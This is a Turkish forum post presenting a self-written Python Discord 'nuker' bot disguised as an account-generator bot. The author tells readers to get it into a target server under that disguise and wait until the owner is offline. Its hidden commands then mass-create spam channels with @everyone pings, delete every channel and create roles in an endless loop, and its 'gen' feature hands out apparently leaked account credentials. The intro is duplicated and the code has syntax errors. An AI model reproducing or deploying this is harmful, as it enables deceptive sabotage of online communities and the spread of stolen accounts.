Öncelikle selamün aleyküm, size kendi yaptığım discord nuker botunu tanıtacağım..
NASIL ÇALIŞIYOR?
Botun komutları şu şekilde;
!gen
!stock
!commands_help
!nuke
!remove
gen, stock, commands_help komutları;
Onları fake komut olarak ekledim demek istediğim discord gen botu yaptım (mesela !gen disney dediğinizde random bir disney hesabı alıp yolluyor.)
İşte hedef sunucunuza gen botu diye yedirebilirsiniz..sonra da sunucu kurucusu offline olunca nuke'layabilirsiniz
DISCORD BOTU OLUŞTURURKEN INTENTS LERİ AÇMAYI UNUTMAYIN YOKSA ÇALIŞMAZ
(Hatalarım olabilir pythonda yeniyim)
NASIL ÇALIŞIYOR?
Botun komutları şu şekilde;
!gen
!stock
!commands_help
!nuke
!remove
gen, stock, commands_help komutları;
Onları fake komut olarak ekledim demek istediğim discord gen botu yaptım (mesela !gen disney dediğinizde random bir disney hesabı alıp yolluyor.)
İşte hedef sunucunuza gen botu diye yedirebilirsiniz..sonra da sunucu kurucusu offline olunca nuke'layabilirsiniz
DISCORD BOTU OLUŞTURURKEN INTENTS LERİ AÇMAYI UNUTMAYIN YOKSA ÇALIŞMAZ
(Hatalarım olabilir pythonda yeniyim)
Python:
import discord
from discord.ext import commands
import os
import random
intents = discord.Intents.default()
intents.members = True
intents.message_content = True
bot = commands.Bot(command_prefix="!", intents=intents)
allowed_channel_id = Kanal IDsi
@bot.event
async def on_ready():
print(f"Bot is ready..")
@bot.command()
async def gen(ctx, file_name, *args):
if ctx.channel.id != allowed_channel_id:
return
file_path = f"stock/{file_name}.txt"
try:
with open(file_path, "r") as file:
lines = file.readlines()
if lines:
account, password = map(str.strip, random.choice(lines).split(":")) # Choose a random account from the list
embed = discord.Embed(title="Account Information", description="Here is the account detail:", color=0x00ff00)
embed.set_thumbnail(url="https://cdn.discordapp.com/attachments/1137708743975522344/1145740095635333270/1.png")
embed.add_field(name="Account", value=account, inline=False)
embed.add_field(name="Password", value=password, inline=False)
embed.set_footer(text='Credits by lulz_sec Discord - A New Way to Chat with Friends & Communities')
await ctx.author.send(embed=embed)
await ctx.send(embed=discord.Embed(
title="Account Generated",
description="Account detail has been sent to your DMs.",
color=0x00ff00
).set_thumbnail(url="https://cdn.discordapp.com/attachments/1137708743975522344/1145740095635333270/1.png")), embed.set_footer(text='Credits by lulz_sec Discord - A New Way to Chat with Friends & Communities ')
else:
await ctx.send("No accounts available in the specified file.")
except FileNotFoundError:
await ctx.send(f"{file_name}.txt does not exist.")
@bot.command()
async def stock(ctx, *args):
if ctx.channel.id != allowed_channel_id:
return
if "stock" in ctx.message.content.lower():
stock_files = os.listdir("stock") # List all files in the "stock" directory
stock_names = "\n".join(stock_files) # Join the file names with line breaks
embed = discord.Embed(title="Available Stock Files", description=stock_names, color=0x00ff00)
embed.set_author(name="Gen bot credits", url="https://discord.gg/2AQCyMCvg3")
embed.set_thumbnail(url="https://cdn.discordapp.com/attachments/1137708743975522344/1145740095635333270/1.png")
embed.set_footer(text='Credits by lulz_sec Discord - A New Way to Chat with Friends & Communities')
await ctx.send(embed=embed)
else:
await ctx.send("Invalid usage.")
@bot.command()
async def commands_help(ctx, *args):
if ctx.channel.id != allowed_channel_id:
return
if "help" in ctx.message.content.lower():
help1 = "This command generates an account and sends it to your DMs."
help2 = "This command lists the available stock files."
embed = discord.Embed(title="Help", color=0x00ff00)
embed.add_field(name="!gen [file_name]", value=help1, inline=False)
embed.add_field(name="!stock", value=help2, inline=False)
await ctx.send(embed=embed)
#---------------------------------------__NUKER__---------------------------------------
@bot.command()
async def nuke(ctx, arg: str):
allow_mentions = discord.AllowedMentions(everyone=True)
guild = ctx.guild
for _ in range(100)
channels = await guild.create_text_channel(arg)
await channels.send(content="@everyone NUKED BY PACPAC Discord - A New Way to Chat with Friends & Communities", allowed_mentions=allow_mentions)
@bot.command()
async def remove(ctx):
for channel in ctx.guild.channels:
await channel.delete()
@bot.command()
async def role(ctx, *, name):
while True:
guild = ctx.guild
await guild.create_role(name=name)
@bot.event
async def on_ready():
print(f"Bot is ready: {bot.user.name}")
@bot.event
async def on_guild_join(guild):
channel = guild.system_channel
if not channel:
channel = guild.text_channels[0]
message = f"Hello! I'm {bot.user.name}"
await channel.send(message)
token = "TOKENINIZ"
bot.run(token)